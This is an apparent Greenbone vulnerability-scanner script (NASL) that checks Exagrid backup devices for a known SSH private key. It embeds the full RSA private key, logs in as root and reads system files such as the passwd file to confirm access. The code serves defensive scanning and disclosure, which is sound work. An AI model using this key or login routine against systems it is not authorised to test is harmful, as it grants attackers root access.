Exagrid Known Private Key Vulnerability (SSH) - Active Check

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105597");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2016-04-07 17:30:40 +0200 (Thu, 07 Apr 2016)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"Mitigation");

  script_name("Exagrid Known Private Key Vulnerability (SSH) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Default Accounts");
  script_dependencies("ssh_detect.nasl", "os_detection.nasl",
                      "gb_default_credentials_options.nasl");
  script_require_ports("Services/ssh", 22);
  script_mandatory_keys("ssh/server_banner/available", "Host/runs_unixoide");
  script_exclude_keys("default_credentials/disable_default_account_checks");

  script_tag(name:"summary", value:"The Exagrid device is using a known SSH private key.");

  script_tag(name:"vuldetect", value:"Tries to login with a known SSH private key.");

  script_tag(name:"impact", value:"This issue may be exploited by a remote attacker to gain access
  to sensitive information or modify system configuration.");

  script_tag(name:"solution", value:"Delete the known SSH private key and re-generate a new one.");

  exit(0);
}

if (get_kb_item("default_credentials/disable_default_account_checks"))
  exit(0);

include("host_details.inc");
include("ssh_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = ssh_get_port( default:22 );

if( ssh_dont_try_login( port:port ) )
  exit( 0 );

# nb: No need to continue/start if we haven't received any banner...
if( ! ssh_get_serverbanner( port:port ) )
  exit( 0 );

if( ! soc = open_sock_tcp( port ) )
  exit( 0 );

user = "root";
key = '-----BEGIN RSA PRIVATE KEY-----
MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
-----END RSA PRIVATE KEY-----';

login = ssh_login( socket:soc, login:user, password:NULL, priv:key, passphrase:NULL );
if( login == 0 ) {

  files = traversal_files( "linux" );

  foreach pattern( keys( files ) ) {

    file = files[pattern];

    cmd = ssh_cmd( socket:soc, cmd:"cat /" + file );
    close( soc );

    if( egrep( string:cmd, pattern:pattern ) ) {
      report = 'It was possible to login as user `root` with the known secret key and to execute `cat /' +
               file + '`. Result:\n\n' + cmd;
      close( soc );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

if( soc )
  close( soc );

exit( 99 );